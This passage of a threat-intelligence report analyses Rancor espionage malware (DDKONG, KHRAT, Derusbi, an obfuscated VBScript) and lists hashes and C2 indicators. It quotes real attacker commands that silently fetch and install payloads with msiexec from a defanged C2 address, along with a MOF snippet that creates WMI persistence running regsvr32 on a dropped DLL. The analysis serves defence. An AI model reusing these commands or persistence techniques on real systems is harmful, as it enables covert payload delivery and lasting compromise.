The macro in this document gets executed when the user views the document and clicks Enable Content, at which point the macro locates and executes the data located under the Company field in the document’s properties. The data located under the Company field is:

cmd /c set /p=Set v=CreateObject(^"Wscript.Shell^"):v.Run ^"msiexec /q /i http://199.247.6[.]253/ud^",false,0 <nul > C:\Windows\System32\spool\drivers\color\tmp.vbs

Table 3. Company field data

The C2 server 199.247.6[.]253 listed above in Table 5 is known to be used by the Rancor group. The script is downloading a second stage payload via the Microsoft tool msiexec. Unfortunately at the time of discovery, the hosted file is unavailable. Our systems were able to record the hash of file tmp.vbs, but the contents of the file are no longer available. See Table 5 below for hash values. Pivoting off the filename and directory, we discovered a similar VBS script used by the Rancor actors that might give us some clues on what the contents of tmp.vbs would resemble. File office.vbs (SHA256: 4b0b319b58c2c0980390e24379a2e2a0a1e1a91d17a9d3e26be6f4a39a7afad2) was discovered in directory c:\Windows\System32\spool\drivers\color. The contents of that file are:

Set v=CreateObject("Wscript.Shell"):v.Run "msiexec /q /i http://199.247.6[.]253/OFFICE",false,0

Table 4. Contents of office.vbs

SHA256 b958e481c90939962081b9fb85451a2fb28f705d5b5060f5d9d5aebfb390f832

Table 5. Hashes for tmp.vbs

If the file tmp.vbs does in fact contain similar content as that of office.vbs, then it could be another method for downloading payloads onto the target.

DDKONG Plugin

SHA256 0EB1D6541688B5C87F620E76219EC5DB8A6F05732E028A9EC36195D7B4F5E707
Compile Date and Time 2017-02-17 08:33:45 AM
File Type PE32 executable (DLL) Intel 80386, for MS Windows
File Name History.nls

Table 6. DDKONG Plugin properties

The malware in question is configured with the following single export entry:

  • DllInstall

The DllInstall export function is responsible for the core behavior of the malware, as just loading it does nothing. Once this export is called, it checks for a hidden window with a caption of Hello Google! and a class name of Google see Figure 1 below. This check is performed to ensure that only one instance of the malware is running at a time.

Figure 1. DDKONG Plugin hidden window properties

 

The hidden window created by the malware filters on any user input (e.g. keyboard or mouse activity). This could be an attempt to evade sandbox analysis as mouse and keyboard movement is typically not performed. The malware then proceeds to beacon to a configured remote server of cswksfwq.kfesv[.]xyz on TCP port 8080. Upon successful connection, the malware transmits victim information such as: hostname, IP address, Language Pack along with other operating system information. The data transmitted are XOR encoded. The malware supports the following capabilities:

  • Terminate specific process
  • Enumerate processes
  • Upload file
  • Download file
  • Delete file
  • List folder contents
  • Enumerate storage volumes
  • Execute a command
  • Reverse shell
  • Take a screenshot

KHRAT

SHA256 aaebf987b8d80d71313c3c0f2c16d60874ffecbdda3bb6b44d6cba6d38031609
Compile Date and Time 2018-05-02 05:22:23 PM
File Type PE32 executable (DLL) Intel 80386, for MS Windows
File Name 8081.dll

Table 7. KHRAT properties

The malware in question is configured with the following single export entry:

  • Rmcmd

When the DLL is initially loaded, it dynamically resolves and imports additional modules (DLLs’) needed. Once loaded and the export entry of Rmcmd is called, it creates a Windows mutex named gkdflbmdfk. This ensures that only one copy of the malware is running at a time. It then begins to beacon to a configured domain of connect.bafunpda[.]xyz on TCP port 8081. The malware collects and transmits data from the host, such as hostname and is XOR encoded with the first byte of the network traffic being the key. This malware supports the following capabilities:

  • Reverse Shell

The malware behavior and code share similarities with an older KHRAT sample from May 2018. Sample (SHA256: bc1c3e754be9f2175b718aba62174a550cdc3d98ab9c36671a58073140381659) has the same export entry name and is also a reverse shell. The newer sample appears to be a re-write for optimization purposes with the underlying behavior remaining the same, reverse shell.

Derusbi

SHA256 83d1d181a6d583bca2f03c3c4e517757a766da5f4c1299fbbe514b3e2abd9e0d
Compile Date and Time 2012-09-14 09:20:12 AM
File Type PE32 executable (DLL) Intel 80386, for MS Windows
File Name 32.dll

Table 8. Derusbi properties

Derusbi is a backdoor Trojan believed to be used among a small group of attackers, which includes the Rancor group. This particular sample is a loader that loads an encrypted payload for its functionality. This DLL requires the loading executable to include a 32-byte key on the command line to be able to decrypt the embedded payload, which unfortunately we do not have. Even though we don’t have the decryption key or loader, we have uncovered some interesting artifacts.

  • If the module that loads the sample is named myapp.exe the module will exit
  • Once loaded, it sleeps for six seconds
  • Looks for a Windows pipe named \\.\pipe\_kernel32.dll.ntdll.dll.user32.dll
  • Looks for a Windows device named \Device\acpi_010221
  • Creates the following registry key
    HKEY_CLASSES_ROOT\CDO.SS_NNTPOnPostEarlySink.2
    Two DWORD values named IDX and Ver.

    • Saves encrypted data at these keys
  • The encryption routine to decrypt the embedded payload is MS_ENH_RSA_AES_PROV

Rancor VBScript

In July 2019, we discovered an interesting VBScript named Chrome.vbs (SHA256: 0C3D4DFA566F3064A8A408D3E1097C454662860BCACFB6675D2B72739CE449C2) associated with the Rancor group. This particular VBScript payload beacons to domain bafunpda[.]xyz, which is also used by the KHRAT Trojan listed above in Table 2. This VBScript is obfuscated and contains packed data that is used to infect a target with multiple chained persistent artifacts. The following illustrates the behavior when the VBScript is executed:

Figure 2. VBScript execution flow

Figure 1 provides a visual overview of when the VBScript is executed on a host. The script performs the following actions:

  1. Copies regsvr32.exe from %windir%\syswow64 to %windir%\spoolsw.exe.
  2. Creates a text file named vdfjgklffsdfmv.txt in the host’s %TMP% folder. This file is not a text file, but a Windows Management Object File MOF.
  3. Executes Windows mofcomp.exe passing in the MOF file created in step 2.
  4. Adds data to two registry keys: classes and media. Data is saved in the default keys.
  5. Reads the blob of data from the registry key classes created in step 4 and saves the data to file %windir%\pla.dat.

The MOF file created by the VBScript is used as a persistence mechanism via Windows Management Instrumentation (WMI) Event Subscriptions. MOF files are compiled scripts that describe Common Information Model (CIM) classes, which are compiled into the WMI repository. The technique is described by MITRE ATT&CK IDT1084. This particular MOF file creates a timer event that is triggered every five seconds. Snippet of the MOF file is illustrated in Figure 3 below:

instance of CommandLineEventConsumer as $Cons

{

Name = "SCM Event Log Filter";

RunInteractively=false;

CommandLineTemplate="c:\\windows\\spoolsw.exe /s /n /i c:\\windows\\pla.dat";

};

instance of __EventFilter as $Filt

{

Name = "SCM Event Log Filter";

EventNamespace = "Root\\Cimv2";

Query = "Select * From __InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

Figure 3. Snippet of MOF file

Figure 3 shows the main functionality of the MOF file. It has a unique name of SCM Event Log Filter and runs spoolsw.exe every 5 seconds, with the /s /n /i parameters passing in file pla.dat. If we recall earlier from the VBScript, spoolsw.exe is the hosts Windows regsvr32.exe. Regsvr32.exe is a Windows tool that registers a module (DLL). The parameters passed instruct regsvr32 not to display any message boxes (/s), do not call DllRegisterServer or DllUnregisterServer (/n) and calls DllInstall (/i). File pla.dat therefore must be a DLL.

The registry values created by the VBScript are as follows:

  1. HKEY_CURRENT_USER\Software\Classes
    • Contains x86 code for a DLL. It is missing the first byte of 0x4 which is added by the VBScript when file pla.dat is created.

File Properties for embedded registry data at HKEY_CURRENT_USER\Software\Classes

SHA256 DB982B256843D8B6429AF24F766636BB0BF781B471922902D8DCF08D0C58511E
Compile Date and Time 2018-04-24 10:51:14 PM
File Type PE32 executable (DLL) Intel 80386, for MS Windows
Export Table DllInstall

Table 9. Reg Classes embedded data properties

The DLL embedded in this registry key is a simple loader that loads the code from the registry HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Media

  1. HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Media
    • Contains shellcode and x86 code for a DLL. Data saved in registry is encoded with a XOR key of 0x9C.
SHA256 CC081FFEA6F4769733AF9D0BAE0308CA0AE63667FA225E7965DF0884E96E2D2A
Compile Date and Time 2018-01-10 09:16:42 PM
File Type PE32 executable (DLL) Intel 80386, for MS Windows

Table 10. Decoded media DLL data properties

The DLL located in the Media registry key is a variant of the KHRAT Trojan. It beacons to domain connect.bafunpda[.]xyz and attempts to connect to TCP port 4433. This is the same domain used by the KHRAT Trojan listed above in Table 2 and shares the same behavior.

Conclusion

Rancor, a cyber espionage group active since at least 2017, continues to conduct targeted attacks in Southeast Asia and has been found using an undocumented, custom malware family - which we’ve dubbed Dudell - to download a second stage payload once its malicious macro is executed. Additionally, Rancor is also using the Derusbi malware family to load a secondary payload once it infiltrates a target.

Palo Alto Networks customers are protected from this threat. Our threat prevention platform detects these malware families, with Wildfire while and simultaneously updating the ‘malware’ category within the PAN-DB URL filtering solution for compromised domains it has identified. AutoFocus customers can further investigate this activity with the following tags:

Indicators of Compromise

SHA256:

0EB1D6541688B5C87F620E76219EC5DB8A6F05732E028A9EC36195D7B4F5E707
AAEBF987B8D80D71313C3C0F2C16D60874FFECBDDA3BB6B44D6CBA6D38031609
0D61D9BAAB9927BB484F3E60384FDB6A3709CA74BC6175AB16B220A68F2B349E
DB982B256843D8B6429AF24F766636BB0BF781B471922902D8DCF08D0C58511E
CC081FFEA6F4769733AF9D0BAE0308CA0AE63667FA225E7965DF0884E96E2D2A
BC1C3E754BE9F2175B718ABA62174A550CDC3D98AB9C36671A58073140381659
83d1d181a6d583bca2f03c3c4e517757a766da5f4c1299fbbe514b3e2abd9e0d

C2s

cswksfwq.kfesv[.]xyz

Connect.bafunpda[.]xyz

199.247.6[.]253

 

Get the latest news, invites to events, and threat alerts

Default Heading

Read the article Right Arrow